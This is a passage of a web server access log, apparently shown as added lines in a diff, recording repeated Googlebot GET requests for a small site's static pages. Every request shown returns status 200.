(+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 1078 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 3977 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 2595 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 4886 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 3634 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 1979 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 1361 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 3720 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 3798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 1889 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /products/2 HTTP/1.1" 200 4938 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 3000 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 1269 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /products/2 HTTP/1.1" 200 4779 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 2848 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 2582 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 3173 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /products/2 HTTP/1.1" 200 1171 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 2938 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 1790 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 4582 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /about.html HTTP/1.1" 200 4028 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 3136 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 4432 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 2859 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /main.js HTTP/1.1" 200 4303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 2267 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /about.html HTTP/1.1" 200 4547 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 2017 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:44 +0000] "GET /products/1 HTTP/1.1" 200 4697 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 4680 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /index.html HTTP/1.1" 200 1665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /products/2 HTTP/1.1" 200 1453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 2516 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /styles.css HTTP/1.1" 200 4755 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:44 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:44 +0000] "GET /contact.html HTTP/1.1" 200 4059 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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12:03:48 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:48 +0000] "GET /about.html HTTP/1.1" 200 3497 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:48 +0000] "GET /products/1 HTTP/1.1" 200 3863 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:48 +0000] "GET /about.html HTTP/1.1" 200 1087 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:48 +0000] "GET /contact.html HTTP/1.1" 200 1426 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:48 +0000] "GET /about.html HTTP/1.1" 200 2262 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:48 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:48 +0000] "GET /contact.html HTTP/1.1" 200 1967 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:49 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:49 +0000] "GET /contact.html HTTP/1.1" 200 3393 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:49 +0000] "GET /contact.html HTTP/1.1" 200 4570 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:49 +0000] "GET /about.html HTTP/1.1" 200 4403 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:49 +0000] "GET /styles.css HTTP/1.1" 200 2110 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:49 +0000] "GET /contact.html HTTP/1.1" 200 4802 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:49 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:49 +0000] "GET /about.html HTTP/1.1" 200 1004 "-" "Googlebot/2.1 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12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /contact.html HTTP/1.1" 200 2200 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 4310 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 1972 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /about.html HTTP/1.1" 200 2329 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /about.html HTTP/1.1" 200 2404 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /main.js HTTP/1.1" 200 4006 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 2302 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 4285 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/2 HTTP/1.1" 200 1104 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/2 HTTP/1.1" 200 2922 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /about.html HTTP/1.1" 200 1740 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 1802 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 4824 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /styles.css HTTP/1.1" 200 2710 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /index.html HTTP/1.1" 200 3764 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /contact.html HTTP/1.1" 200 1794 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /index.html HTTP/1.1" 200 3593 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /main.js HTTP/1.1" 200 2296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /products/2 HTTP/1.1" 200 2378 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /styles.css HTTP/1.1" 200 1954 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 2342 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /contact.html HTTP/1.1" 200 2306 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 3126 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /main.js HTTP/1.1" 200 4277 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:51 +0000] "GET /main.js HTTP/1.1" 200 2795 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:51 +0000] "GET /products/1 HTTP/1.1" 200 1283 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:51 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:51 +0000] "GET /main.js HTTP/1.1" 200 1210 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /main.js HTTP/1.1" 200 3479 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /products/2 HTTP/1.1" 200 3454 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /styles.css HTTP/1.1" 200 3980 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:52 +0000] "GET /contact.html HTTP/1.1" 200 1293 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /contact.html HTTP/1.1" 200 1673 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:52 +0000] "GET /products/2 HTTP/1.1" 200 1763 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /about.html HTTP/1.1" 200 3990 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /about.html HTTP/1.1" 200 1104 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:52 +0000] "GET /main.js HTTP/1.1" 200 3679 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /main.js HTTP/1.1" 200 2329 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:52 +0000] "GET /index.html HTTP/1.1" 200 2096 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:52 +0000] "GET /styles.css HTTP/1.1" 200 4389 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:52 +0000] "GET /about.html HTTP/1.1" 200 1754 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /products/1 HTTP/1.1" 200 2922 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:52 +0000] "GET /products/2 HTTP/1.1" 200 1413 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:52 +0000] "GET /products/2 HTTP/1.1" 200 1296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /products/2 HTTP/1.1" 200 3859 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:52 +0000] "GET /styles.css HTTP/1.1" 200 3753 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /about.html HTTP/1.1" 200 1473 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:52 +0000] "GET /contact.html HTTP/1.1" 200 1704 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:52 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:52 +0000] "GET /styles.css HTTP/1.1" 200 4676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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02 12:03:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:54 +0000] "GET /products/2 HTTP/1.1" 200 3073 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:54 +0000] "GET /main.js HTTP/1.1" 200 3069 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:54 +0000] "GET /index.html HTTP/1.1" 200 4107 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:54 +0000] "GET /styles.css HTTP/1.1" 200 2953 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:54 +0000] "GET /products/1 HTTP/1.1" 200 1007 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:54 +0000] "GET /about.html HTTP/1.1" 200 4093 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:54 +0000] "GET /index.html HTTP/1.1" 200 4506 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:54 +0000] "GET /styles.css HTTP/1.1" 200 2051 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:54 +0000] "GET /products/1 HTTP/1.1" 200 4068 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:54 +0000] "GET /products/1 HTTP/1.1" 200 1029 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:54 +0000] "GET /products/1 HTTP/1.1" 200 2486 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:54 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:54 +0000] "GET /products/2 HTTP/1.1" 200 2833 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 4753 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 3555 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:58 +0000] "GET /main.js HTTP/1.1" 200 3079 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 1735 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /about.html HTTP/1.1" 200 4927 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 3522 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:58 +0000] "GET /main.js HTTP/1.1" 200 4565 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /styles.css HTTP/1.1" 200 1753 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 4719 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /about.html HTTP/1.1" 200 3848 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /products/2 HTTP/1.1" 200 2238 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /styles.css HTTP/1.1" 200 4554 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /products/2 HTTP/1.1" 200 2636 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /index.html HTTP/1.1" 200 4973 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /about.html HTTP/1.1" 200 3299 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /styles.css HTTP/1.1" 200 4867 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:58 +0000] "GET /products/1 HTTP/1.1" 200 3256 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /products/1 HTTP/1.1" 200 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:58 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:58 +0000] "GET /about.html HTTP/1.1" 200 4143 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:59 +0000] "GET /products/1 HTTP/1.1" 200 4099 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:59 +0000] "GET /styles.css HTTP/1.1" 200 4195 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:03:59 +0000] "GET /about.html HTTP/1.1" 200 4145 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:03:59 +0000] "GET /styles.css HTTP/1.1" 200 3086 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:03:59 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:03:59 +0000] "GET /contact.html HTTP/1.1" 200 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12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /styles.css HTTP/1.1" 200 1055 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 2242 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /contact.html HTTP/1.1" 200 3456 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /contact.html HTTP/1.1" 200 3938 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 3114 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 1949 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 3022 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /products/1 HTTP/1.1" 200 3104 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:04:02 +0000] "GET /main.js HTTP/1.1" 200 3927 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html HTTP/1.1" 200 2657 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:02 +0000] "GET /contact.html HTTP/1.1" 200 3786 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:02 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:04:02 +0000] "GET /index.html 